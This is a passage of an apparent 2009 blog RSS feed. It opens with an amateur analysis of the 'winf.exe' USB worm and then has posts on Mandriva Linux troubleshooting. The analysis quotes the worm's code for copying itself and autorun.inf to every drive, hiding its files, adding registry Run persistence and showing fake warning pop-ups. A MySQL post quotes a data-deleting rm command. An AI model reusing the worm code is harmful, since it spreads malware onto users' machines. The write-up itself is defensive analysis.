Filecopy,%temp%\winf\thb.ico,L:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\autorun.inf,L:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; filedelete,M:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\thb.ico,M:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\autorun.inf,M:\ &amp;nbsp;&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well this code first changes attribute of the files extracted into temp folders to act as sytem files. Further it deletes any autorun.inf file whic may present in the all the drive and then winf.exe, autorun.inf, thb.ico is copied into all the drives. Further it checks to make sure all copies are present and make a backup copy of it. I couldn't properly interpret this part see it below.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;ArrayCount = 0&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Loop, Read,%temp%\winf\driveList.txt&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;{&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;ArrayCount += 1 &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Array%ArrayCount% := A_LoopReadLine&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Loop %ArrayCount%&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;{&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;drivename := Array%A_Index% &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;;search in the root of all drives in the drivelist&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; ifexist,%drivename%:\winf.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Filecopy,%drivename%:\winf.exe,%path1%\reg.bkp\winf.exe&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; else&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;continue&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Filesetattrib,+SH,%path1%\reg.bkp\winf.exe&lt;/span&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;br /&gt;Further it creates a &lt;span style=&quot;font-weight: bold;&quot;&gt;desktop.ini&lt;/span&gt; and &lt;span style=&quot;font-weight: bold;&quot;&gt;autorun.inf&lt;/span&gt; files and fills it with content which is show in the code below.&lt;br /&gt;&lt;/div&gt;&lt;blockquote style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;;*******************************create desktop.ini*************************************&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;ifnotexist,%path1%\Desktop.ini&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Fileappend,&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;(&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;[.ShellClassInfo]&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;IconFile=C:\WINDOWS\system32\win.dll\DLL.ico&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;IconIndex=0&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;),%path1%\Desktop.ini&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Filesetattrib,+SH,%path1%\Desktop.ini&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;;*******************************create autorun.inf*******************************&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;;Open=win.dll.exe&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;;shell\open\command=..\winf.exe&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;ifnotexist,%path1%\reg.bkp\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Fileappend,&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;(&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;[Autorun]&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;open=winf.exe&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;shellexecute=winf.exe&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;shell\Auto\command=winf.exe&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;),%path1%\reg.bkp\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Filesetattrib,+SH,%path1%\reg.bkp\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;;*******************************end of autorun.inf*******************************&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Further it writes following registry values.&lt;/div&gt;&lt;blockquote style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,status,present&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,winlogon&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;br /&gt;Also this virus is the one&amp;nbsp;which&amp;nbsp;pops up message boxes when you visit orkut or youtube. Well this kinda of message you will be getting and also it has a playback sound ;).&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;blockquote style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;message1= &amp;nbsp; &amp;nbsp;msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window ``r``r &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;orkut is infected by jammer worm ,30&lt;br /&gt;&lt;/span&gt; &lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;message2= &amp;nbsp; &amp;nbsp;msgbox,262160,File missing,TCP/IP module Missing from npqtplugin4.dll. it may infected by virus &amp;nbsp;``r``r &amp;nbsp; &amp;nbsp; &amp;nbsp; ,30&lt;br /&gt;&lt;/span&gt; &lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;message3= &amp;nbsp; &amp;nbsp;msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run``r``r &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;Well still there are many things this virus can do I can't explain everything here ;). Whenever you see winf.exe files just scan it once to remove all harmful programs(win.exe, avgs.exe, reg.bkp) then you are left with only text image and a mp3 file.&amp;nbsp;If I interpreted something wrongly here please correct me with you comments.&lt;/div&gt;
</description>
<pubDate>Wed, 07 Jan 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/01/winf-exe-disected.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/01/winf-exe-disected.html</guid>
</item>



<item>
<title>MySQL failing to start in Mandriva 2009</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;Well one more surprise is given to me by Mandriva 2009 after the Compaq Presario incidence. Well that incidence is because of H/W manufacturers not software problem. But this is again strange problem which I got when I tried to install Joomla for developing a website. As Joomla needs MySQL I just typed mysql in shell prompt, output showed me that MySQL(mysqld) is not running. So I used following 2 commands&lt;/div&gt;&lt;blockquote&gt;#/etc/init.d/mysqld start&lt;br /&gt;#service mysqld start&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;I know both commands are one and the same ;) both used to start the mysqld (mysql daemon). Well following error I got.&lt;/div&gt;&lt;blockquote&gt;ERROR: hostname cannot be localhost, mysql_install_db is quite unstable&lt;br /&gt;https://qa.mandriva.com/show_bug.cgi?id=38398&lt;/blockquote&gt;Well I followed the link given in error message. &lt;a href=&quot;https://qa.mandriva.com/show_bug.cgi?id=38398&quot;&gt;https://qa.mandriva.com/show_bug.cgi?id=38398&lt;/a&gt; this leads to Bugzilla of Mandriva. I tried to understand what they have given there without any clue of what it actually is. One person had given error message which I've showed above. Solution was something like this&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: collapse; color: black; font-family: Verdana; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;1. rpm -e mysql&lt;br /&gt;2. rm -f /var/lib/mysql/mysql/*&lt;br /&gt;3. /bin/hostname 127.0.0.1&lt;br /&gt;4. urpmi mysql&amp;nbsp;&lt;/blockquote&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: collapse; color: black; font-family: Verdana; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;pre class=&quot;bz_comment_text&quot; style=&quot;font-family: monospace; font-size-adjust: none; font-size: medium; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; white-space: pre-wrap; width: 50em;&quot;&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;or do steps 1 and 2 and then install latest mysql-5.0.51a-4mdv2008.1&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;I followed 1st and 2nd link and finally installed the mysql which comes with Mandriva 2009 and here I go when I try starting mysqld it says can't read &lt;b&gt;/var/lib/mysql/mysql&amp;nbsp;&lt;/b&gt; which I deleted as per steps they have given. Well I'll try again with Mandriva 2008 cd hope it works ;)&lt;/div&gt;Now searching for a more stable distro for my project work ;)&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: collapse; color: black; font-family: Verdana; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;/span&gt;
</description>
<pubDate>Tue, 06 Jan 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/01/mysql-failing-to-start-in-mandriva-2009.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/01/mysql-failing-to-start-in-mandriva-2009.html</guid>
</item>



<item>
<title>Temporary Solution for problem found in Mandriva 2009 installed on Compaq Presario CQ40</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Hi folks as I mentioned in my last post about whisteling sound problem today I've come up with a solution. Thanks to our System Analyst who helped me to find the solution. Well here are the few things you need to do.&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;1. Launch the kmixer's mixer window&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;2. In &lt;b&gt;Settings&lt;/b&gt; menu select &lt;b&gt;Configure Channels&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;3. Select all the options in the selection window&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;4. You'll see all the controllers in the kmixer window&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;5. Mute &lt;b&gt;Analog Loop back 1 &amp;amp; 2&lt;/b&gt;, &lt;b&gt;PC Beep&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;You are done and the whisteling stops ;).&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Well what actually we did is muted the microphone so your notebook still can play music without any problem. :D&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;And this particular problem is only found in Compaq Presario CQ40 series so go ahead with installation of Mandriva without any worries if you are using different notebooks ;) &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SV83OYjLiGI/AAAAAAAAAfo/MdHZSBzU2lo/s1600-h/channels.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SV83OYjLiGI/AAAAAAAAAfo/MdHZSBzU2lo/s320/channels.jpeg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&amp;nbsp;&lt;a href=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SV83VG3FxGI/AAAAAAAAAfw/DktaoAIY_bs/s1600-h/kmixer.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SV83VG3FxGI/AAAAAAAAAfw/DktaoAIY_bs/s320/kmixer.jpeg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;
</description>
<pubDate>Sat, 03 Jan 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/01/temporary-solution-for-problem-found-in-mandriva-2009-installed-on-compaq-presario-cq40.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/01/temporary-solution-for-problem-found-in-mandriva-2009-installed-on-compaq-presario-cq40.html</guid>
</item>



<item>
<title>Problem found in Mandriva 2009 while installig on Compaq Presario CQ40 Notebook series</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: Verdana,sans-serif;&quot;&gt;My cousin got a new Comapq Presario Laptop&lt;/span&gt; as my exams got over I thought of installing my favourite Linux distro Mandriva (2009). Well installation went fine and I happily rebooted to see how it will work on Laptop. Well here the problem started instead of Mandriva normal boot flash screen command screen started and a list of undetected hardware list came infront of me and a &lt;span style=&quot;color: red;&quot;&gt;loud noise&lt;/span&gt; noise started to came from laptop !!!. Well I didn't know what to do, I some how powered off the system. Today I asked my sir to do a clean reinstall and he did it but problem still persists. But he told its nothing but a&lt;b&gt; &quot;loop back from microphone on Laptop to its speaker&quot;.&amp;nbsp;&lt;/b&gt;&lt;/div&gt;I tried following&lt;br /&gt;&lt;blockquote&gt;1. Tried to mute all loop back sound using kmix.&lt;br /&gt;2. Opened Mandriva controll center and&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Disabled Pulse Audio&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Disabled routing from ALSA to Pulse Audio&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Disabled user switching for audio application option&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SV3_x_GOM8I/AAAAAAAAAfg/Cq99-Ay64BM/s1600-h/sofq9.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SV3_x_GOM8I/AAAAAAAAAfg/Cq99-Ay64BM/s400/sofq9.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Did all this blindly in a hope of stopping the noise. Well it still didn't work !! Well sadly rebooted to Windows ;) well as a last try I googled up this matter and here is what I got from Mandriva forum&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style=&quot;border-collapse: separate; color: #555555; font-family: Tahoma; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;I don't think our sound controllers work very well for the time beein'. I had to disable pulse audio as well as 'shifting user' or something like that. Then I had to choose Intel HDA driver. Log out ---&amp;gt; back in of course.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;border-collapse: separate; color: #555555; font-family: Tahoma; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;border-collapse: separate; color: #555555; font-family: Tahoma; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;The strange thing is that I had another (awesome!) mixer with the clean Mandriva 2009 install. Because of the ATI HD3300 and all videoproblems I ended up updating via backport, so I am not quite shore when what happened, but after updating to fglrx-kernel (ATI 8.11) I had some sound issues.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;border-collapse: separate; color: #555555; font-family: Tahoma; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;border-collapse: separate; color: #555555; font-family: Tahoma; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;So my call: - disable pulse and switching user&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;border-collapse: separate; color: #555555; font-family: Tahoma; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;- Choose Intel HDA-driver(s). I have two controllers visible.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;border-collapse: separate; color: #555555; font-family: Tahoma; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;I choosed Intel HDA as alternate driver as well.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;border-collapse: separate; color: #555555; font-family: Tahoma; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;- Still not working? Consider kernel update. I am running 2.6.27.4-server-2mnb @ the moment&lt;/span&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;So what I did was correct but if it had worked Notebook will be muted. And as I found on the forum only&amp;nbsp; last option I'm left with is to upgrade Kernel to 2.6.27 version. Well I'll try this last option and update you folks with result.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Image source: &lt;/span&gt;&lt;a href=&quot;http://forum.mandriva.com/viewtopic.php?p=596151&amp;amp;sid=9474495ee0f0df300df9391419e3e591&quot;&gt;http://forum.mandriva.com/viewtopic.php?p=596151&amp;amp;sid=9474495ee0f0df300df9391419e3e591&lt;/a&gt;&lt;/div&gt;
</description>
<pubDate>Fri, 02 Jan 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/01/problem-found-in-mandriva-2009-while-installig-on-compaq-presario-cq40-notebook-series.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/01/problem-found-in-mandriva-2009-while-installig-on-compaq-presario-cq40-notebook-series.html</guid>
</item>



<item>
<title>My Final year project IDEA !!</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;Well long waited final semester of Engineering has finally come ;). This semester we need to do a project and I was not at all getting any idea regarding the project. Finally our college System Analyst gave me idea and I'm waiting to work on his idea. Well I'm going to give a brief introduction of the idea here.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The name I gave to my project is very long and I don't know whether the name suits the idea. If you folks have a better name for the project please let me know about it. For now its called &lt;b&gt;&quot;Centralised Internet Access Control and Monitoring System&quot;. &lt;/b&gt;Well let me describe what is my project actually.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Main idea is to provide a single server to allow all the persons to access internet. Presently we have arround 6 server (say) in our college. In each floor systems accessing internet is given different IP address. Say in 5th floor its 172.16.4.* and for 3rd its 172.16.3.* and some machines also have a range of 172.16.2.*. So main idea is to have a single IP range for all the machines that are allowed to access internet. Which means we should have a single server to control internet access for all machines in the college. Well you may think what is the big deal in this ;). Wait till you listen to entire story.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Second thing what our system analyst wanted to do is controll user access to the internet.Currently students should manually enter their USN in a sheet when they enter the lab and its assumed all students can access internet for only one hour. But this is not happening some time students will be sitting more that 3 hours in the internet lab. So we should have a authentication for the users who can access the internet and some mechanism for restricting internet usage time for the students. Well all this mechanism shoul reside on the central server (that is why we wanted to make a single server for controlling internet access).&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;All what I told is on the server side of the project. Now lets take a look at what is needed on a client. First we need a method to authenticate the client. For know the project is only meant for Firefox browser since it is open source and can be modified and recompiled. And some kind of mechanism to keep track of sites accessed by each user. Also user should not be allowed to access banned sites.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Well that finished client and server now whoose gonna take care of them yes a administrator is needed. Well administrator should have a web access to the system. He should be able to manage users, specify the time of access, blocked site,report generation and so on ;)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Well thats all about my project I'll elaborate you folks with all technology I'm going to use in 